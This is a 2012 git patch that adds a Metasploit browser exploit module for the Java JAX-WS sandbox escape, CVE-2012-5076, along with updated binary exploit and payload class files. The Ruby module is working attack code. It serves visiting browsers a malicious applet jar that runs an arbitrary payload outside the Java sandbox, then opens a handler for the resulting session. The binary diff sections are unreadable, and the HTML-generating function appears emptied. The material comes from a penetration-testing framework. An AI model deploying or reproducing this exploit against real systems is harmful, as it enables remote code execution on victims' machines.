From 5076198ba200a43d8ef6e7b0512732549a7a7add Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Sun, 11 Nov 2012 20:18:19 +0100 Subject: [PATCH] fixing bperry comments --- data/exploits/cve-2012-5076/Exploit.class | Bin 2295 -> 2213 bytes data/exploits/cve-2012-5076/MyPayload.class | Bin 883 -> 706 bytes .../exploits/cve-2012-5076/Exploit.java | 3 - .../windows/browser/java_jre17_jaxws.rb | 119 ++++++++++++++++++ 4 files changed, 119 insertions(+), 3 deletions(-) create mode 100644 modules/exploits/windows/browser/java_jre17_jaxws.rb diff --git a/data/exploits/cve-2012-5076/Exploit.class b/data/exploits/cve-2012-5076/Exploit.class index a0ac39df1bdc4c63ede3e81f31ef3277a74da001..34c26a171cd56d6caba88dd34e067abd770efdc9 100755 GIT binary patch delta 1225 zcmZ9M+f!Rr6vlr$w-b)1B?-44ODMEy%OwU&OKSsCg@U3$tEphDmxd4^7;-R#3f@v3 zpM2}&!M8qiba19R)5}a?M5-^2Grsg+a2#Lt)i>+fiB!j#Gi$HC*4k@*`&()QMb| zhYjAfSZBlFJ&X7Gz~VzbGALPGRJKRmp zO`ZQ~TB2CU<`)LKrpv#(ers%~@|1OY$MY*|Me$`)%l96*e^ljN-(bmwU*87BahX_T zCy*ZPJfaDCB74NwA*+(r+r5SFjwp(#NIlrlfQLr0JRxIW3!la(HhBg;6%23gJO8A6 zC>*_ileTEM#~WVMU+GE(e;}|;-StbKy4B{xU!%7lC2qzm`T^?XO$0e8xNIrdCh2?k zFexvF_~Dx!%;Xl2O$6JKO5GK#(7p=$;~v`+tx%sFy1~Als5@LCu=(&0ffStFAyi7< zrQs*)Lyg-sCGXL&iBBw{X7?^FTO5dcZLg?yg~#JQ+o!W0^oT3zzDuh<7p|Rat)6R5 zY||DuY{T|Rkezf#6BQ2qKug?j`zy51sBJnn@l4#2JHS`mDsfm;&EgRCB9BP}j(h1$DKKaY&o`kx$QMV^{ ha3|%$o-MrJR||WDSXZ^KjWkJP>HDYuN;JfI@^AC$^wj_W delta 1217 zcmZXU-BTN76vlsVHpv^dOBx7m32hKMq7(wOVkr%jRw~tMQlmj@tRLM%3TZ=#kW^DY z;z#|yV)nudXLP3OaBFpDVMII5c;}t}f}^)yc;k#Sif4gp(b=7|XP!OJbDs0=yYJ^s zzc zx!T0F;j3!4j? zDT`_H&Tnde;vzGOo#|S}t`+C)>Hevry|`#GOFAdJfviYg%LZMPi+a-G@zmT+emAb`iyzXUhSiH$K&07|4^G-ul&cbBHn#qQ*x8CeI6n8bvxleduH3<0*5N|n~rkXmC-aRh5 zIpori^vC=O7c)2ZF^#o5}xk&&b0BEwu|R5tW6 zKH|8DOo+@lpK@wrg@*C33pt?a)AY+qp&5X6N&dyu7Pg3FeO@@|ebz%_!RO57QjE`$ z#L^=w&_tl=m}e%J(Xd+Y4!LwIC=s{F0%sm8A2kFh^Vi9AD3|fatb{Bj7kF|c`f3g5 k&cWk-6(W!QYUbkqlnJ};$;pLmp*smYIQ%Pw`#?qG1GUE#Gynhq delta 456 zcmZvXO-=$q5QSe4Fb(5?{EIrEAP9`;D8?06ki-Pyel!Hp5ePvSZaBlli--#~E?gK_ zUcqCySKq+K7}H5r_p5qeSG@*4)%yF_^9z7|)HQ^#tYHPK5{8B>av_GbAl5bHQIOb> zC`y#vl9>#*#`ft&(;l|%6Q?sP8E&&CHr< false }) + + def initialize( info = {} ) + super( update_info( info, + 'Name' => 'Java Applet JAX-WS Remote Code Execution', + 'Description' => %q{ + This module abuses the JAX-WS classes from a Java Applet to run arbitrary Java + code outside of the sandbox as exploited in the wild in November of 2012. The + vulnerability affects Java version 7u7 and earlier. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Unknown', # Vulnerability Discovery + 'juan vazquez' # metasploit module + ], + 'References' => + [ + [ 'CVE', '2012-5076' ], + [ 'OSVDB', '86363' ], + [ 'BID', '56054' ], + [ 'URL', 'http://www.oracle.com/technetwork/topics/security/javacpuoct2012-1515924.html' ], + [ 'URL', 'http://malware.dontneedcoffee.com/2012/11/cool-ek-hello-my-friend-cve-2012-5067.html' ] + ], + 'Platform' => [ 'java', 'win' ], + 'Payload' => { 'Space' => 20480, 'BadChars' => '', 'DisableNops' => true }, + 'Targets' => + [ + [ 'Generic (Java Payload)', + { + 'Arch' => ARCH_JAVA, + } + ], + [ 'Windows Universal', + { + 'Arch' => ARCH_X86, + 'Platform' => 'win' + } + ], + [ 'Linux x86', + { + 'Arch' => ARCH_X86, + 'Platform' => 'linux' + } + ] + ], + 'DefaultTarget' => 0, + 'DisclosureDate' => 'Oct 16 2012' + )) + end + + + def on_request_uri( cli, request ) + if not request.uri.match(/\.jar$/i) + if not request.uri.match(/\/$/) + send_redirect(cli, get_resource() + '/', '') + return + end + + print_status("#{self.name} handling request") + + send_response_html( cli, generate_html, { 'Content-Type' => 'text/html' } ) + return + end + + paths = [ + [ "Exploit.class" ], + [ "MyPayload.class" ] + ] + + p = regenerate_payload(cli) + + jar = p.encoded_jar + + paths.each do |path| + 1.upto(path.length - 1) do |idx| + full = path[0,idx].join("/") + "/" + if !(jar.entries.map{|e|e.name}.include?(full)) + jar.add_file(full, '') + end + end + fd = File.open(File.join( Msf::Config.install_root, "data", "exploits", "cve-2012-5076", path ), "rb") + data = fd.read(fd.stat.size) + jar.add_file(path.join("/"), data) + fd.close + end + + print_status("Sending Applet.jar") + send_response( cli, jar.pack, { 'Content-Type' => "application/octet-stream" } ) + + handler( cli ) + end + + def generate_html + jar_name = rand_text_alpha(rand(6)+3) + ".jar" + html = "" + html += "" + html += "" + html += "" + return html + end + +end